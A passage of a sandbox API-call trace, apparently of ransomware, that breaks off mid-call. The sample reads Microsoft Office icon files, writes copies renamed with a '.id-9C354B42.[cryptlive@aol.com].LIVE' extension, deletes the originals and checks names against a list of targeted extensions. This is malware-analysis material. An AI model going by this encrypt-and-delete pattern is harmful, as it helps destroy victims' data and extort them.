Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.429] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0158.429] CloseHandle (hObject=0x1fc) returned 1 [0158.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 0x20 [0158.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.517] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.518] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0158.518] GetLastError () returned 0x0 [0158.518] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0158.546] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0158.547] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.547] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0158.547] SetEndOfFile (hFile=0x1b4) returned 1 [0158.547] CloseHandle (hObject=0x1b4) returned 1 [0158.547] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.547] SetEndOfFile (hFile=0x3b4) returned 1 [0158.549] CloseHandle (hObject=0x3b4) returned 1 [0158.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.551] lstrlenW (lpString=".doc") returned 4 [0158.551] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.551] lstrlenW (lpString=".docx") returned 5 [0158.551] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.551] lstrlenW (lpString=".pdf") returned 4 [0158.551] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.551] lstrlenW (lpString=".xls") returned 4 [0158.551] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.551] lstrlenW (lpString=".xlsx") returned 5 [0158.551] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.551] lstrlenW (lpString=".ppt") returned 4 [0158.551] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.551] lstrlenW (lpString=".zip") returned 4 [0158.551] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.551] lstrlenW (lpString=".rar") returned 4 [0158.551] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.551] lstrlenW (lpString=".bz2") returned 4 [0158.551] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.551] lstrlenW (lpString=".7z") returned 3 [0158.552] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".dbf") returned 4 [0158.552] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".1cd") returned 4 [0158.552] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".jpg") returned 4 [0158.552] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".doc") returned 4 [0158.552] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.552] lstrlenW (lpString=".docx") returned 5 [0158.552] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.552] lstrlenW (lpString=".pdf") returned 4 [0158.552] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString=".xls") returned 4 [0158.552] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString=".xlsx") returned 5 [0158.552] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.552] lstrlenW (lpString=".ppt") returned 4 [0158.552] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".zip") returned 4 [0158.552] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString=".rar") returned 4 [0158.552] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.552] lstrlenW (lpString=".bz2") returned 4 [0158.552] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.552] lstrlenW (lpString=".7z") returned 3 [0158.552] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.552] lstrlenW (lpString=".dbf") returned 4 [0158.552] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.553] lstrlenW (lpString=".1cd") returned 4 [0158.553] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0158.553] lstrlenW (lpString=".jpg") returned 4 [0158.553] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.553] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.553] lstrlenW (lpString="POSTITL.ICO") returned 11 [0158.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.554] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0158.554] CloseHandle (hObject=0x3b4) returned 1 [0158.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 0x20 [0158.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.555] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.555] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0158.556] GetLastError () returned 0x0 [0158.556] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0158.557] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0158.558] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.558] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.558] SetEndOfFile (hFile=0x1b4) returned 1 [0158.559] CloseHandle (hObject=0x1b4) returned 1 [0158.559] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.559] SetEndOfFile (hFile=0x3b4) returned 1 [0158.561] CloseHandle (hObject=0x3b4) returned 1 [0158.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.562] lstrlenW (lpString=".doc") returned 4 [0158.562] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.562] lstrlenW (lpString=".docx") returned 5 [0158.562] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.562] lstrlenW (lpString=".pdf") returned 4 [0158.562] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.562] lstrlenW (lpString=".xls") returned 4 [0158.562] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.562] lstrlenW (lpString=".xlsx") returned 5 [0158.562] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.562] lstrlenW (lpString=".ppt") returned 4 [0158.562] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.562] lstrlenW (lpString=".zip") returned 4 [0158.562] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.562] lstrlenW (lpString=".rar") returned 4 [0158.562] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.562] lstrlenW (lpString=".bz2") returned 4 [0158.562] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.562] lstrlenW (lpString=".7z") returned 3 [0158.562] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.562] lstrlenW (lpString=".dbf") returned 4 [0158.562] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.562] lstrlenW (lpString=".1cd") returned 4 [0158.563] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".jpg") returned 4 [0158.563] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".doc") returned 4 [0158.563] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.563] lstrlenW (lpString=".docx") returned 5 [0158.563] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.563] lstrlenW (lpString=".pdf") returned 4 [0158.563] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString=".xls") returned 4 [0158.563] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString=".xlsx") returned 5 [0158.563] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.563] lstrlenW (lpString=".ppt") returned 4 [0158.563] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".zip") returned 4 [0158.563] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString=".rar") returned 4 [0158.563] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.563] lstrlenW (lpString=".bz2") returned 4 [0158.563] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.563] lstrlenW (lpString=".7z") returned 3 [0158.563] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".dbf") returned 4 [0158.563] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".1cd") returned 4 [0158.563] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0158.563] lstrlenW (lpString=".jpg") returned 4 [0158.563] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.564] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.564] lstrlenW (lpString="POSTITS.ICO") returned 11 [0158.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.564] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0158.564] CloseHandle (hObject=0x3b4) returned 1 [0158.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 0x20 [0158.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.565] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.565] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0158.569] GetLastError () returned 0x0 [0158.569] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0158.570] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0158.571] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.571] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.572] SetEndOfFile (hFile=0x1b4) returned 1 [0158.572] CloseHandle (hObject=0x1b4) returned 1 [0158.572] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.572] SetEndOfFile (hFile=0x3b4) returned 1 [0158.574] CloseHandle (hObject=0x3b4) returned 1 [0158.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.575] lstrlenW (lpString=".doc") returned 4 [0158.575] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.575] lstrlenW (lpString=".docx") returned 5 [0158.575] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.575] lstrlenW (lpString=".pdf") returned 4 [0158.575] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.575] lstrlenW (lpString=".xls") returned 4 [0158.575] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.575] lstrlenW (lpString=".xlsx") returned 5 [0158.575] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.575] lstrlenW (lpString=".ppt") returned 4 [0158.575] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.575] lstrlenW (lpString=".zip") returned 4 [0158.575] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".rar") returned 4 [0158.576] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".bz2") returned 4 [0158.576] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.576] lstrlenW (lpString=".7z") returned 3 [0158.576] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString=".dbf") returned 4 [0158.576] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString=".1cd") returned 4 [0158.576] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString=".jpg") returned 4 [0158.576] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString=".doc") returned 4 [0158.576] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.576] lstrlenW (lpString=".docx") returned 5 [0158.576] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.576] lstrlenW (lpString=".pdf") returned 4 [0158.576] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".xls") returned 4 [0158.576] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".xlsx") returned 5 [0158.576] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.576] lstrlenW (lpString=".ppt") returned 4 [0158.576] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.576] lstrlenW (lpString=".zip") returned 4 [0158.576] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".rar") returned 4 [0158.576] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.576] lstrlenW (lpString=".bz2") returned 4 [0158.576] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.577] lstrlenW (lpString=".7z") returned 3 [0158.577] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.577] lstrlenW (lpString=".dbf") returned 4 [0158.577] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.577] lstrlenW (lpString=".1cd") returned 4 [0158.577] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0158.577] lstrlenW (lpString=".jpg") returned 4 [0158.577] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.577] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.577] lstrlenW (lpString="POSTL.ICO") returned 9 [0158.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.578] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0158.578] CloseHandle (hObject=0x3b4) returned 1 [0158.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 0x20 [0158.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" 